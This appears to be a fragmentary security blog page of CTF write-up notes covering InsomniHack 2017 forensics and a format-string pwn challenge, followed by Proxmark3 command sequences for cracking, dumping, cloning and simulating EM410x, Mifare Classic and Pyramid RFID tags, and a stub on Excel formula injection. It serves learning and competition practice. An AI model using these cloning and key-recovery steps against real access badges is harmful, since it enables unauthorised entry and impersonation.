#./certbot-auto
#cat phishing.py
#cat /var/www/html/links.html
#python phishing.py
#tail -f /var/log/apache2/access.log
# InsomniHack teaser 2k17: The Great Escape - part 2 - forensics - 200 pts
Labels:
certbot,
ctf,
https,
json,
letsencrypt,
local_storage,
phishing,
xss
# InsomniHack teaser 2k17: The Great Escape - part 1 - forensics - 50 pts
Initial wireshark filters
smtp
ftp-data
Decrypt HTTPS traffic
Preferences/Protocols/SSL/RSA keys list/Edit: 52.214.142.175 443 http rsaprivate.key
New wireshark filters
ip.addr == 52.214.142.175 and http and tcp.stream eq 76
ip.addr == 52.214.142.175 and http and tcp.stream eq 85
# InsomniHack teaser 2k17: baby - pwn - 50 pts
Binary info
#file baby
#./checksec.sh --file baby
#./checksec.sh --file libc.so
Partial RELRO and Full RELRO
+ PLT --> GOT
known: GOT --> shared lib address
unknown: GOT --> PLT --> dynamic linker (lazy binding)
+ Partial RELRO (Relocation Read Only)
- read only after dynamic loader initialization: .init_array, .fini_array, .jcr .dynamic .got
- read-only: .got
- writeable: .got.plt
+ Full RELRO
- partial relro
- lazy binding disabled: imported symbols resolved at startup time.
- read-only: .got, .got.pl
Disable SIGALRM
(gdb)info signals SIGALRM
(gdb)handle SIGALRM nopass
__libc_start_main address range
(gdb) disassemble __libc_start_main
Find a __libc address
Your format >%158$llp
(gdb)x/3i 0x7ffff7a5c2b1
Find libc base address
# objdump -M intel -d libc.so | grep -A 2 'mov edi,eax'
Find cookie address
Your format > %138$llp
gdb config file
# cat .gdbinit
Exploit
#cat baby.py
#python baby.py
$cat flag
# RFID cracking
EM
# Cloning EM410x proxmark3>lf read
proxmark3>data samples 30000
proxmark3>lf em4x em410xread
proxmark3> lf em4x em410xsim 0DEADBEEF0 proxmark3>lf em4x em410xwrite 0DEADBEEF0 1
# Bruteforcing UID - https://github.com/mtongsang/pm3Bruter $./proxmark3 /dev/cu.usbmodem1411 -b -m 3 -c 256 -t 1122334455
Mifare classic 1k
# Key A for sector 0 proxmark3>hf mf mifare
# Keys A/B for all sectors proxmark3>hf mf nested 1 0 A a0a1a2a3a4a5 d
# Dumping and reading stored data proxmark3>hf mf dump
proxmark3>script run htmldump
$xxd dumpkeys.bin
$xxd dumpdata.bin
# Reading and writing blocks and sectors proxmark3>hf mf rdbl 0 A a0a1a2a3a4a5
proxmark3>hf mf rdsc 0 A a0a1a2a3a4a5
proxmark3>hf mf wrbl 0 A a0a1a2a3a4a5
0300e5c81c0eec00000000004d494300# Cloning a dumped tag (dumpdata.bin) using a magic chinnese card proxmark3>hf mf csetuid 86bcfe41
proxmark3>hf mf restore
# Simulating a tag proxmark3>hf 14a reader
proxmark3>hf 14a sim 1 11223344
Pyramid
# Cloning: read raw data proxmark3>lf search
# Cloning: write raw data proxmark3>lf t55xx write b 0 d 00107080
proxmark3>lf t55xx write b 1 d 11111111
proxmark3>lf t55xx write b 2 d 22222222
proxmark3>lf t55xx write b 3 d 33333333
proxmark3>lf t55xx write b 4 d 44444444
# Excel formula injection
#cat payloads.txt
#cat meterpreter.ps
Reference
https://appsec-labs.com/portal/formula-injection/
Thanks
ams
Subscribe to:
Posts (Atom)